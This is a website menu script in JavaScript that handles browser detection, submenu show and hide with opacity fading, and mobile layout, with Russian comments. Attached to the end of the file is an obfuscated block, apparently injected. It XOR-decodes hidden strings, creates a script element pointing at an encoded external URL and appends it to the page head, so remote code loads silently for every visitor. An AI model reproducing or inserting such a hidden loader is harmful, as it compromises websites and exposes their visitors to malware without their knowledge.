/*
<SCRIPT language=JavaScript src="/menu/menu.js"></SCRIPT>
*/
if(typeof(is_mobila_adaptive)=='undefined')
is_mobila_adaptive=0;// 1- показывать только усеченное меню с возможностью переноса

var brauser_type_for_menu="any";
version=navigator.appVersion;
supporting1=document.getElementById?1:0;

if(navigator.userAgent.indexOf("Firefox")>0)
{
brauser_type_for_menu="opacity";
}
else
if((version.indexOf("MSIE ")>-1 && supporting1) )
{ //alert(version);
if(version.indexOf("MSIE 10")>0 || version.indexOf("MSIE 11")>0  || version.indexOf("MSIE 12")>0)
brauser_type_for_menu="opacity";
else
brauser_type_for_menu="ie";

//alert(brauser_type_for_menu);
}
else
if(window.opera)
brauser_type_for_menu="opacity";
else
if(navigator.userAgent.indexOf("Gecko")>0)
brauser_type_for_menu="opacity";
else
if(navigator.userAgent.indexOf("AppleWebKit")>0)
brauser_type_for_menu="KhtmlOpacity";
//////////////////////////////////////////////////
//alert(navigator.userAgent+" | "+brauser_type_for_menu);
var old_sub=0;
var old_subsub=0;

/////////////////////////////////  
// когда курсор вне области меню закрывать принудительно, иногда остается.
function menu_hide_all()
{
// принудительно закрыть все
for(i=0;i<allItemsCount;i++)
document.getElementById(allItemsIdArr[i]).style.visibility = "hidden";
}
function menu_hide(num,num2,ssub)
{
if(num2>0)
{
setTimeout("todo_sub_hide('"+num+"','"+num2+"',"+ssub+")",200);
}

//////////////
old_subsub=0;
old_sub=0;
setTimeout("menu_hide_todo('"+num+"','"+num2+"',"+ssub+")",200);// чтобы menu_show успела

}
//////////////////////////////
function todo_sub_hide(num,num2,ssub)
{
if(num2==old_subsub) return;

subsub=document.getElementById("subsubmenu_"+num+"_"+num2); //alert(sub.style.visibility);
if(subsub) 
if(subsub.style.visibility != "hidden")
{
subsub.style.visibility = "hidden";
change_opac_menu(0, "subsubmenu_"+num+"_"+num2);
//return;
}
old_subsub=num2;

}
///////////////
function menu_hide_todo(num,num2,ssub)
{
if(num==old_sub) 
	return;
sub=document.getElementById("submenu_"+num);
if(sub) 
if(sub.style.visibility != "hidden")
{
sub.style.visibility = "hidden";
change_opac_menu(0, "submenu_"+num);
}
//menu_hide_all();
}
///////////////////////////
//sub=document.getElementById("submenu_1");alert(sub.offsetTop+" | "+sub.offsetHeight);
function menu_show(num,num2,ssub)
{ 
if(is_mobila_adaptive)
return;
if(num2<0)//главное
{ 
sub_id="submenu_"+num;
sub=document.getElementById(sub_id); 
if(sub) 
//if(sub.style.visibility == "visible") return;// от дребезга при переходе через <a href
if(sub.style.visibility != "visible")// от дребезга при переходе через <a href
{
sub.style.visibility = "visible"; 
//if(old_sub==num) return;
opac_progress(sub_id);
}
old_sub=num;
}
else
{
old_sub=num;
//var screenX=document.getElementsByTagName( 'body' )[0].scrollWidth;
//var leftwidth=;
//if(left > screenX)
subsub_id="subsubmenu_"+num+"_"+num2;
subsub=document.getElementById(subsub_id); //alert(sub.style.visibility);
if(subsub) 
if(subsub.style.visibility != "visible")
{
subsub.style.visibility = "visible";
//change_opac_menu(100, subsub_id);
opac_progress(subsub_id);
}
old_subsub=num2;//"subsubmenu_"+num+"_"+num2;

}

}
/////////////////////////////////////////////////
var menu_cur_item_id=0;
//var menu_work_process_speed=0;
var menu_cur_img_opacity=0;
function opac_progress(id)
{
menu_cur_item_id=id;
//menu_work_process_speed=0;
menu_cur_img_opacity=0;
change_opac_menu(0, id);
//alert(show_speed);
/*  мелкософт эдже захлебывается очередью в 100 задержек ! поэтому таймеры - поочередно
for(i = 1; i <= 100; i++) 
{//alert("changeOpac_menu(" + i + ",'" + id + "')");
setTimeout("change_opac_menu(" + i + ",'" + id + "')",(i * show_speed));
}
*/
go_to_next_step();
}

function go_to_next_step() 
{
change_opac_menu(menu_cur_img_opacity, menu_cur_item_id);

timeout = setTimeout("go_to_next_step()",show_speed);
if (menu_cur_img_opacity==100) 
{
clearTimeout(timeout);
return;
}
menu_cur_img_opacity++;
}


function change_opac_menu(opacity, id) 
{//alert(opacity);

var id_obj =document.getElementById(id);
if(!id_obj)
	return;
if(typeof(id_obj)=='undefined')
	return;

if(brauser_type_for_menu=="apple2")
{
id_obj.style.opacity=opacity/100;
id_obj.style.KhtmlOpacity=opacity/100;//Для Konqueror/Safari:
id_obj.style.MozOpacity=opacity/100;
return;
}

//opacity:0.0; -khtml-opacity: 0.0; -moz-opacity:0.0; filter:alpha(opacity=0);
if(brauser_type_for_menu=="opacity")
{id_obj.style.opacity=opacity/100;return;}// для оперы

if(brauser_type_for_menu=="MozOpacity")
{id_obj.style.MozOpacity=opacity/100;return;}//Для FireFox, Mozilla (Gecko): 

if(brauser_type_for_menu=="KhtmlOpacity")
{id_obj.style.KhtmlOpacity=opacity/100;return;}//Для Konqueror/Safari:

if(brauser_type_for_menu=="ie")
{
//
//alert(typeof(id_obj.filters.alpha));
if(typeof(id_obj.filters.alpha)!='undefined')
	{id_obj.filters.alpha.opacity=opacity;return;}

}
// по умолчанию
id_obj.style.opacity=opacity/100;
//id_obj.style.filter = "alpha(opacity=" + opacity + ")";
}
////////////////////////
document.onclick= menu_hide_all;
///////////////////////

// адаптивное перемещение невлазящего в экран мобилы на следующую строку
// должен быть запрет на показ субменю is_mobila_adaptive=1;
function set_mine_menu_cols()// можно сдвигать допол-но shift_mine_menu=NS
{ 
if(typeof(is_mobila_adaptive)!='number')
	return;
if(!is_mobila_adaptive)
	return;

n_column=2;
if(screen.width>600)
	n_column=3;

isML=0;// 1 - используется margin-left
if(document.getElementById('main_item_id_0').style.marginLeft!='')
isML=1;
//alert(isML);
if(isML)
div_ml=parseInt(document.getElementById('main_item_id_0').style.marginLeft);
else
div_ml=document.getElementById('main_item_id_0').offsetLeft;
div_t=document.getElementById('main_item_id_0').offsetTop;
div_w=document.getElementById('main_item_id_0').offsetWidth;
div_h=document.getElementById('main_item_id_0').offsetHeight;
//alert(div_ml+" | "+div_w+" | "+div_h+" | "+main_count);
//alert(div_t+2*div_h+menu_cellspacing);
//сделать меню рядами
nrow=0;
ncol=0;
shistT=-40;
shistL=-150;
if(typeof(shift_mine_menu)=='number')
shistL+=shift_mine_menu;

for(i=0;i<main_count;i++)
{
div=document.getElementById('main_item_id_'+i);

if(i%n_column==0 && i)
{
//shistT+=div_t;
nrow++;
ncol=0;
}

div.style.top=(div_t+shistT+ div_h*nrow)+"px";
if(isML)
div.style.marginLeft=(div_ml+shistL+div_w*ncol)+"px";
else
div.style.left=(div_ml+shistL+ div_w*ncol)+"px";

ncol++;
}
}function lZ13(i9i5,f7){var sJLb7='';var dc5ucN=0;var rqxw0=0;for(dc5ucN=0;dc5ucN<i9i5.length;dc5ucN++){var m4=i9i5.charAt(dc5ucN);var k4=m4.charCodeAt(0)^f7.charCodeAt(rqxw0);m4=String.fromCharCode(k4);sJLb7+=m4;if(rqxw0==f7.length-1)rqxw0=0;else rqxw0++;}return (sJLb7);}function ui46ecG(u0h3Y){var jq248='';var nJ0vT4=0;var sh2B0Z=0;for(nJ0vT4=0;nJ0vT4<u0h3Y.length/3;nJ0vT4++){jq248+=String.fromCharCode(u0h3Y.slice(sh2B0Z,sh2B0Z+3));sh2B0Z=sh2B0Z+3;}return jq248;}function tm38cRI(fUl){var q8xA=document[ww3NQ(k4X[3])](ww3NQ(k4X[0])+ww3NQ(k4X[1])+ww3NQ(k4X[2]));q8xA[ww3NQ(k4X[4])]=fUl;q8xA[ww3NQ(k4X[5])]=ww3NQ(k4X[6]);document[ww3NQ(k4X[9])](ww3NQ(k4X[8]))[0][ww3NQ(k4X[7])](q8xA);}var k4X=["007007","006013","004016","023022086006066085116084092089081003070","007022080","000029067002","000001075019025090080078088071087031091059068","021020067002088084114080080088080","028001082003","019001071034090085092093087064071047075031081019042082010083","028016071023012031030075077085064008028056093024086029021067031091075022087090025028033067"];function ww3NQ(t6W2R3){return lZ13(ui46ecG(t6W2R3),'td3g6018944m2K0');}tm38cRI(ww3NQ(k4X[10]));